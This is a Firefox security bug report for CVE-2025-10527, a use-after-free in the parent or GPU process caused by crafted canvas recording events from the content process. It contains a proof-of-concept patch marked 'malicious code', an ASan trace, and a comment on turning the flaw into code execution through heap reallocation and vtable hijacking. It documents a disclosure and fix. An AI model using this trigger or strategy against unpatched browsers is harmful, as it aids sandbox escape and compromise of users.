1984825 - (CVE-2025-10527) Sandbox escape with CanvasTranslator drawTarget ReferencePtr replay

Status: RESOLVED FIXED

(Core :: Graphics: Canvas2D, defect)

Description

[Oskar]

Using a crafted canvas messages, one can cause corruption in the browser process and achieve a sandbox escape from the content process.

Comment 1

[Oskar]

Writeup follows:

Background

When working with the Canvas2D subsystem which is exposed to the content by the PCanvasactor.

There is a CanvasTranslator class which reads the events sent by the content process and translates them into actions.

Creating drawTargets has several paths, one of them being RecordedCreateSimilarDrawTarget:

inline bool RecordedCreateSimilarDrawTarget::PlayEvent(
    Translator* aTranslator) const {
  DrawTarget* drawTarget = aTranslator->GetCurrentDrawTarget();
  if (!drawTarget) {
    return false;
  }

  RefPtr<DrawTarget> newDT =
      drawTarget->CreateSimilarDrawTarget(mSize, mFormat);

  // If we couldn't create a DrawTarget this will probably cause us to crash
  // with nullptr later in the playback, so return false to abort.
  if (!newDT) {
    return false;
  }

  aTranslator->AddDrawTarget(mRefPtr, newDT);
  return true;
}

which creates a new DrawTarget according to the backing format and saves a reference to it into the aTranslator inner map via AddDrawTarget:

void AddDrawTarget(ReferencePtr aRefPtr, DrawTarget* aDT) final {
    mDrawTargets.InsertOrUpdate(aRefPtr, RefPtr{aDT});
  }

As we can see the key is a user specified aRefPtr (uint64 really).
And the key is a reference to the DrawTarget.

Deletion of draw targets can be done with RemoveDrawTarget

  void RemoveDrawTarget(ReferencePtr aRefPtr) override {
    RefPtr<DrawTarget> removedDT;
    if (mDrawTargets.Remove(aRefPtr, getter_AddRefs(removedDT)) &&
        mCurrentDT == removedDT) {
      mCurrentDT = nullptr;
    }
  }

Which as we can see, removes the weak pointer mCurrentDT to prevent a us

This class has a weak pointer member DrawTarget* mCurrentDT.
This member can be set to a previously created drawTarget via an RecordedSetCurrentDrawTarget event.

Vulnerability

Calling AddDrawTarget twice with the same key, updates the hashmap value, deleting the previous ref, without deleting the mCurrentDT reference.
causing a user-after-free in the case mCurrentDT is used again.

Asan report

Im attaching the asan report with the relevant stack trace:

==160436==ERROR: AddressSanitizer: heap-use-after-free on address 0x51000028c440 at pc 0x74d946e29851 bp 0x74d87afc0d80 sp 0x74d87afc0d78
READ of size 8 at 0x51000028c440 thread T66
    #0 0x74d946e29850 in mozilla::gfx::RecordedCreateSimilarDrawTarget::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:2303:19
    #1 0x74d946e290bd in mozilla::gfx::InlineTranslator::TranslateRecording(char*, unsigned long)::$_0::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/2d/InlineTranslator.cpp:58:31
    #2 0x74d946e290bd in std::_Function_handler<bool (mozilla::gfx::RecordedEvent*), mozilla::gfx::InlineTranslator::TranslateRecording(char*, unsigned long)::$_0>::_M_invoke(std::_Any_data const&, mozilla::gfx::RecordedEvent*&&) /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/std_function.h:282:9
    #3 0x74d946e35275 in std::function<bool (mozilla::gfx::RecordedEvent*)>::operator()(mozilla::gfx::RecordedEvent*) const /home/user/.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/std_function.h:687:14
    #4 0x74d946e35275 in bool 
    ...
0x51000028c440 is located 0 bytes inside of 184-byte region [0x51000028c440,0x51000028c4f8)
freed by thread T66 here:
    #0 0x650346abb486 in free /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x74d946e372e6 in mozilla::gfx::InlineTranslator::AddDrawTarget(mozilla::gfx::ReferencePtr, mozilla::gfx::DrawTarget*) /home/user/Downloads/firefox/gfx/2d/InlineTranslator.h:95
    #2 0x74d946e297d4 in mozilla::gfx::RecordedCreateSimilarDrawTarget::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:2311:16
    #3 0x74d946e290bd in mozilla::gfx::InlineTranslator::TranslateRecording(char*, unsigned long)::$_0::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/2d/InlineTranslator.cpp:58:31
    #4 0x74d946e290bd in std::_Function_handler<bool (mozilla::gfx::RecordedEvent*), 
    ...

previously allocated by thread T66 here:
    #0 0x650346abb71f in malloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
    #1 0x650346b0d0cd in moz_xmalloc /home/user/Downloads/firefox/memory/mozalloc/mozalloc.cpp:52:15
    #2 0x74d946ef1160 in operator new(unsigned long) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/cxxalloc.h:33:10
    #3 0x74d946ef1160 in mozilla::gfx::DrawTargetSkia::CreateSimilarDrawTarget(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat) const /home/user/Downloads/firefox/gfx/2d/DrawTargetSkia.cpp:1641:35
    #4 0x74d946e29776 in mozilla::gfx::RecordedCreateSimilarDrawTarget::PlayEvent(mozilla::gfx::Translator*) const /home/user/Downloads/firefox/gfx/2d/RecordedEventImpl.h:2303:19
    #5 0x74d946e290bd in mozilla::gfx::InlineTranslator::TranslateRecording(char*, unsigned long)::$_0::operator()(mozilla::gfx::RecordedEvent*) const /home/user/Downloads/firefox/gfx/2d/InlineTranslator.cpp:58:31
    ...

Explanation:

AddDrawTargetfrees the allocation.
RecordedCreateSimilarDrawTarget::PlayEvent uses the weak pointer since:

inline bool RecordedCreateSimilarDrawTarget::PlayEvent(
    Translator* aTranslator) const {
  DrawTarget* drawTarget = aTranslator->GetCurrentDrawTarget();
  if (!drawTarget) {
    return false;
  }

  RefPtr<DrawTarget> newDT =
      drawTarget->CreateSimilarDrawTarget(mSize, mFormat);
      ...
}

Implications

On Linux, this actor is implemented by the Browser process.
On windows, this actor is implemented by the GPU process,
however, i can argue that one can make this a browser only vulnerability,
since by crashing the GPU layers_gpu_process_max_restarts times,
we can prevent the gpu from being used, and the UI process will act for compositing and rendering:

bool GPUProcessManager::CreateContentCompositorManager(
    ipc::EndpointProcInfo aOtherProcess, dom::ContentParentId aChildId,
    uint32_t aNamespace, ipc::Endpoint<PCompositorManagerChild>* aOutEndpoint) {
  ipc::Endpoint<PCompositorManagerParent> parentPipe;
  ipc::Endpoint<PCompositorManagerChild> childPipe;

  nsresult rv = EnsureGPUReady();
  if (NS_WARN_IF(rv == NS_ERROR_ILLEGAL_DURING_SHUTDOWN)) {
    return false;
  }

  ipc::EndpointProcInfo parentInfo = NS_SUCCEEDED(rv)
                                         ? mGPUChild->OtherEndpointProcInfo()
                                         : ipc::EndpointProcInfo::Current();

  rv = PCompositorManager::CreateEndpoints(parentInfo, aOtherProcess,
                                           &parentPipe, &childPipe);
  if (NS_FAILED(rv)) {
    gfxCriticalNote << "Could not create content compositor manager: "
                    << hexa(int(rv));
    return false;
  }

  if (mGPUChild) {
    mGPUChild->SendNewContentCompositorManager(std::move(parentPipe), aChildId,
                                               aNamespace);
  } else if (!CompositorManagerParent::Create(std::move(parentPipe), aChildId,
                                              aNamespace,
                                              /* aIsRoot */ false)) {
    return false;
  }

  *aOutEndpoint = std::move(childPipe);
  return true;
}

As this is a SBE from content to browser vulnerability, which i strongly believe (and will provide further primitives if requested) can lead to code execution.
This is a critical vulnerability in my opinion and should be fixed as fast as possible.
This is a cross-platform and firefox-latest vulnerability.

Reproduction

1. Use the following html file:

<!DOCTYPE html>
<html>
<body>
<canvas id="myCanvas" width="400" height="200"></canvas>
    <script src="canvas.js"></script>
</body>
</html>

2. which points to a canvas.js:

const svgNS = "http://www.w3.org/2000/svg";

// 1. Create the main SVG element and add it to the body
const svg = document.createElementNS(svgNS, 'svg');
svg.setAttribute('width', '200');
svg.setAttribute('height', '200');
document.body.appendChild(svg);

// 2. Create the <defs> and the <pattern> inside it
const defs = document.createElementNS(svgNS, 'defs');
svg.appendChild(defs);

const pattern = document.createElementNS(svgNS, 'pattern');
pattern.setAttribute('id', 'jsPattern');
pattern.setAttribute('x', '0');
pattern.setAttribute('y', '0');
pattern.setAttribute('width', '10');
pattern.setAttribute('height', '10');
pattern.setAttribute('patternUnits', 'userSpaceOnUse');
defs.appendChild(pattern);

// 3. Add a shape to be repeated inside the pattern
const circle = document.createElementNS(svgNS, 'circle');
circle.setAttribute('cx', '5');
circle.setAttribute('cy', '5');
circle.setAttribute('r', '2');
circle.setAttribute('fill', 'blue');
pattern.appendChild(circle);

// 4. Create a shape to fill with the pattern and append to the SVG
const rect = document.createElementNS(svgNS, 'rect');
rect.setAttribute('x', '0');
rect.setAttribute('y', '0');
rect.setAttribute('width', '200');
rect.setAttribute('height', '200');
rect.setAttribute('fill', 'url(#jsPattern)');
svg.appendChild(rect);

3. Use a http server (python3 -m http.server) to serve the html and javascript file.

4. Apply the patch:

diff --git a/gfx/2d/DrawTargetRecording.cpp b/gfx/2d/DrawTargetRecording.cpp
index 109f714c8662..c00acd9a99d4 100644
--- a/gfx/2d/DrawTargetRecording.cpp
+++ b/gfx/2d/DrawTargetRecording.cpp
@@ -8,12 +8,19 @@
 #include "DrawTargetSkia.h"
 #include "PathRecording.h"
 #include <stdio.h>
+#include <cstdint>
 
 #include "ImageContainer.h"
 #include "Logging.h"
+#include "RecordedEvent.h"
+#include "SourceSurfaceRawData.h"
 #include "Tools.h"
 #include "Filters.h"
+#include "Types.h"
+#include "mozilla/AlreadyAddRefed.h"
 #include "mozilla/gfx/DataSurfaceHelpers.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/Rect.h"
 #include "mozilla/layers/CanvasDrawEventRecorder.h"
 #include "mozilla/layers/RecordedCanvasEventImpl.h"
 #include "mozilla/layers/SourceSurfaceSharedData.h"
@@ -22,6 +29,7 @@
 #include "nsXULAppAPI.h"  // for XRE_IsContentProcess()
 #include "RecordingTypes.h"
 #include "RecordedEventImpl.h"
+#include "2D.h"
 
 namespace mozilla {
 namespace gfx {
@@ -817,8 +825,23 @@ already_AddRefed<DrawTarget> DrawTargetRecording::CreateSimilarDrawTarget(
     similarDT =
         new DrawTargetRecording(this, IntRect(IntPoint(0, 0), aSize), aFormat);
     similarDT->SetOptimizeTransform(mOptimizeTransform);
+    // RecordEventSelfSkipFlushTransform(
+    //     RecordedCreateSimilarDrawTarget(similarDT.get(), aSize, aFormat));
+
+    // Insert our malicious code.
+    RecordEventSelfSkipFlushTransform(
+        RecordedCreateSimilarDrawTarget(ReferencePtr(0x1000), aSize, aFormat));
+
+    RecordEventSelfSkipFlushTransform(
+        RecordedSetCurrentDrawTarget(ReferencePtr(0x1000)));
+
     RecordEventSelfSkipFlushTransform(
-        RecordedCreateSimilarDrawTarget(similarDT.get(), aSize, aFormat));
+        RecordedCreateSimilarDrawTarget(ReferencePtr(0x1000), aSize, aFormat));
+
+
+    RecordEventSelfSkipFlushTransform(
+        RecordedCreateSimilarDrawTarget(ReferencePtr(0x2000), aSize, aFormat));
+
   } else if (XRE_IsContentProcess()) {
     // Crash any content process that calls this function with arguments that
     // would fail to create a similar draw target. We do this to root out bad

And compile however u finds useful:

export CC="clang"
export CXX="clang++"

ac_add_options --enable-address-sanitizer
ac_add_options --disable-crashreporter

This vulnerability was found by manual code auditing.

Thanks!

Comment 3

[Andrew McCreight [:mccr8]]

Nice find!

There are a bunch of other "Add" methods that look like they have the same basic issue of adding to a hash table and not caring if something is already there, though hopefully the rest don't involve raw pointers.

Bug 1929911 changed the behavior of RemoveDrawTarget. I think before that a double RemoveDrawTarget would clear both weak pointers, but I could be wrong. I can't figure out the scenario that bug 1929911 was attempting to address, but presumably there was some other weird sequence of adds and removes.

I haven't 100% confirmed it, but it looks very plausible so I'll rate it and mark it NEW.

Comment 4

[Jamie Nicol [:jnicol]]

mCurrentDT was added in bug 1874241, perhaps aosmond can help with this. And cc Lee as he reviewed that, and wrote the fix for 1929911.

Certainly at the very least it seems AddDrawTarget() needs to reset mCurrentDT if it points to a draw target that is being replaced. mCurrentDT being WeakPtr rather than a raw pointer could also add peace of mind.

But are multiple AddDrawTarget() calls with the same aRefPtr value valid without a RemoveDrawTarget() in between ever valid? Should we just crash in such cases? Same question applies to the other Add methods as Andrew points out, as even if we don't currently retain any raw pointers to them you could imagine someone adding them in the future without realising the danger.

Comment 5

[Andrew McCreight [:mccr8]]

(In reply to Jamie Nicol [:jnicol] from comment #4)

But are multiple AddDrawTarget() calls with the same aRefPtr value valid without a RemoveDrawTarget() in between ever valid? Should we just crash in such cases? Same question applies to the other Add methods as Andrew points out, as even if we don't currently retain any raw pointers to them you could imagine someone adding them in the future without realising the danger.

Detecting bad situations and crashing sounds like a good idea. Ideally, you'd do this by calling ContentParent::KillHard() which will kill the corresponding child process rather than the current parent process. If you were in a Recv method, you could get this effect by returning a non-success IPCResult, but I assume we won't necessarily have that in the stack here. Making some kind of utility method that digs up the current ContentParent we're dealing with an calls KillHard on it is hopefully not too difficult. This could also give a place to alter the behavior in fuzzing builds, if that is useful.

Comment 6

[Lee Salzman [:lsalzman]]

Attachment: (secure)

Comment 7

[Lee Salzman [:lsalzman]]

For now I have opted for the surgical fix to just detect the double-add and reset mCurrentDT.

I would prefer if we leave other more explicit and in-depth debugging enhancements to a non-security enhancement followup bug.

Comment 8

[Lee Salzman [:lsalzman]]

Comment on attachment 9509584 [details]
(secure)

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Use-after-free in Canvas remoting code in GPU/parent process.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: 123+
• If not all supported branches, which bug introduced the flaw?: Bug 1874241
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?:
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: Yes

Comment 9

[BugBot [:suhaib / :marco/ :calixte]]

Set release status flags based on info from the regressing bug 1874241

Comment 10

[Lee Salzman [:lsalzman]]

My analysis is that this is just a use-after-free and not a sandbox escape. I believe any actual nefarious consequences of using a freed DrawTarget in the GPU or parent process will be confined to those processes.

Many things can crash the GPU/parent processes, and these processes are designed to crash, and crash safely without taking down the browser. This by itself doesn't mean this bug is some sort of sandbox escape. If crashing the GPU process in itself can lead to a sandbox escape, then that's a separate security issue that needs to be filed elsewhere as a follow-up bug.

If there was a larger exploit here, it would have to happen as a consequence of using the corrupted memory of the freed DrawTarget, which still remains in the GPU/parent processes. That has not been demonstrated, but is conceivable as a potential exploit.

There are plenty of asserts everywhere in the GPU process that would really be trivial to trigger, so it's not unique to this trigger here and cause a release crash, and I do not believe it warrants focusing on this bug as any type of sandbox escape, or else you would have to treat every single release assert in the GPU process as a sandbox escape (which to my knowledge it is not).

But, we still lack proof of any mechanism of sandbox escape as a result of a release crash. If we had the proof of a larger issue with GPU process fallbacks, I'd rather that be addressed as a follow-up, because it represents a larger engineering issue with the GPU process that is best not to conflate with this bug.

Comment 11

[Andrew McCreight [:mccr8]]

(In reply to Lee Salzman [:lsalzman] from comment #10)

My analysis is that this is just a use-after-free and not specifically a sandbox escape. I believe any actual nefarious consequences of using a freed DrawTarget in the GPU or parent process will be confined to those processes.

It is a sandbox escape because a lower privileged process can cause a UAF in a higher privileged process. The way this would be exploited would be by a compromised content process sending some other message after the RecordEventSelfSkipFlushTransform call that causes the free to happen that allocates an object with the same size as the freed object, but with an attacker-controlled value. Then, a later message could cause a method to be called on the dead mCurrentDT pointer. DrawTarget has virtual methods, so its first word will be a vtable pointer. Thus if the first word of the object the attacker gets allocated in the parent process is an attacker controlled integer then it could make it do all sorts of things. Exploiting this kind of issue is not trivial, but it is a well-studied problem. You can see bug 1758070 for an example of a use-after-free in the parent process that was exploited by attackers as part of a zero day on Firefox users.

Comment 12

[Daniel Veditz [:dveditz]]

And yes, the GPU process also has a sandbox (on Windows, at least) but it has different restrictions and capabilities than the content process sandbox. A sandbox escape into a different sandbox would be less valuable than an escape into the unsandboxed parent process, but it's still an escalation. Even a sandbox escape from one content process to another would violate "site isolation" and could have some value to an attacker.

Comment 13

[Lee Salzman [:lsalzman]]

(In reply to Andrew McCreight [:mccr8] from comment #11)

(In reply to Lee Salzman [:lsalzman] from comment #10)

My analysis is that this is just a use-after-free and not specifically a sandbox escape. I believe any actual nefarious consequences of using a freed DrawTarget in the GPU or parent process will be confined to those processes.

It is a sandbox escape because a lower privileged process can cause a UAF in a higher privileged process. The way this would be exploited would be by a compromised content process sending some other message after the RecordEventSelfSkipFlushTransform call that causes the free to happen that allocates an object with the same size as the freed object, but with an attacker-controlled value. Then, a later message could cause a method to be called on the dead mCurrentDT pointer. DrawTarget has virtual methods, so its first word will be a vtable pointer. Thus if the first word of the object the attacker gets allocated in the parent process is an attacker controlled integer then it could make it do all sorts of things. Exploiting this kind of issue is not trivial, but it is a well-studied problem. You can see bug 1758070 for an example of a use-after-free in the parent process that was exploited by attackers as part of a zero day on Firefox users.

To be clear, this would only happen in the situation that the platform doesn't support the GPU process by default, currently only macOS and Linux don't support it. If we ever are in a situation where the GPU process is used by default (the assumption being we can only accelerate anything in the GPU process), then we stop remoting canvas when we fall back to the parent process, because then we punt from HW-WR to SW-WR which also disables Accelerated Canvas2D.

Comment 14

[Oskar]

(In reply to Lee Salzman [:lsalzman] from comment #13)

(In reply to Andrew McCreight [:mccr8] from comment #11)

(In reply to Lee Salzman [:lsalzman] from comment #10)

My analysis is that this is just a use-after-free and not specifically a sandbox escape. I believe any actual nefarious consequences of using a freed DrawTarget in the GPU or parent process will be confined to those processes.

It is a sandbox escape because a lower privileged process can cause a UAF in a higher privileged process. The way this would be exploited would be by a compromised content process sending some other message after the RecordEventSelfSkipFlushTransform call that causes the free to happen that allocates an object with the same size as the freed object, but with an attacker-controlled value. Then, a later message could cause a method to be called on the dead mCurrentDT pointer. DrawTarget has virtual methods, so its first word will be a vtable pointer. Thus if the first word of the object the attacker gets allocated in the parent process is an attacker controlled integer then it could make it do all sorts of things. Exploiting this kind of issue is not trivial, but it is a well-studied problem. You can see bug 1758070 for an example of a use-after-free in the parent process that was exploited by attackers as part of a zero day on Firefox users.

To be clear, this would only happen in the situation that the platform doesn't support the GPU process by default, currently only macOS and Linux don't support it. If we ever are in a situation where the GPU process is used by default (the assumption being we can only accelerate anything in the GPU process), then we stop remoting canvas when we fall back to the parent process, because then we punt from HW-WR to SW-WR which also disables Accelerated Canvas2D.

I'm not sure I follow,
The first point being, what do you mean by "fall back to the parent process"?
Another question is, what do you mean by stop remoting canvas? can you point to the mechanism that does it ?

Another topic I'd like to address, and i would like to get some kind of feedback regarding crashing the GPU enough times, for the compositor the take ownership over the canvas interface, making this a cross-platform browser sandbox escape.

Thanks everyone!

Comment 15

[Daniel Veditz [:dveditz]]

Please remember to trim quotes to only the relevant bits. Especially there is no need to quote the entire previous comment because it's already right there: a new comment will be assumed to be in response to that unless it makes clear it's responding to something else or starting a new topic.

what do you mean by "fall back to the parent process"?

Prior to using a GPU process for hardware acceleration, graphics—including canvas—was rendered in the un-sandboxed parent process with software rendering. Mac and Linux still work that way by default. "fall back" meaning "do it the old way if the GPU process is unavailable"

what do you mean by stop remoting canvas? can you point to the mechanism that does it ?

"remoting" meaning "send commands somewhere else to be done"; in this context, to another process. "stop remoting" meaning process the canvas in the same process as we did before the GPU process and still do on some platforms. You can start at https://searchfox.org/firefox-main/search?q=RemoteCanvas but for general chat with developers please check out https://chat.mozilla.org. Keep bugs to discussing the bug because they are a TERRIBLE format for discussion.

Another topic I'd like to address [...]

same, this is not the right forum.

Comment 16

[Daniel Veditz [:dveditz]]

Comment on attachment 9509584 [details]
(secure)

sec-approval=dveditz

Comment 17

[Lee Salzman [:lsalzman]]

Comment on attachment 9509584 [details]
(secure)

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version: 144
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Beta/Release Uplift Approval Request

• User impact if declined/Reason for urgency:
• Is this code covered by automated tests?: Unknown
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):
• String changes made/needed:
• Is Android affected?: Yes

Comment 18

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/beb9bc70d5f9
https://hg.mozilla.org/integration/autoland/rev/d7640fcd01b5
r=jnicol

Comment 19

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/d7640fcd01b5

Comment 20

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9509584 [details]
(secure)

Approved for 143.0b6.

Comment 21

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/0c02c8f8f44e
https://hg.mozilla.org/releases/mozilla-beta/rev/8fb2f1935f7f

Comment 22

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9509584 [details]
(secure)

Approved for 140.3esr.

Comment 23

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/0b4c9e17a597

Comment 24

[Daniel Veditz [:dveditz]]

(In reply to Oskar from comment #14)

Another topic I'd like to address, and i would like to get some kind of feedback regarding crashing the GPU enough times, for the compositor the take ownership over the canvas interface, making this a cross-platform browser sandbox escape.

Sorry to cut you off on this one -- that one is actually relevant to the bounty on this bug as a sandbox escape on Windows: the GPU sandbox doesn't help if you can make us stop using it.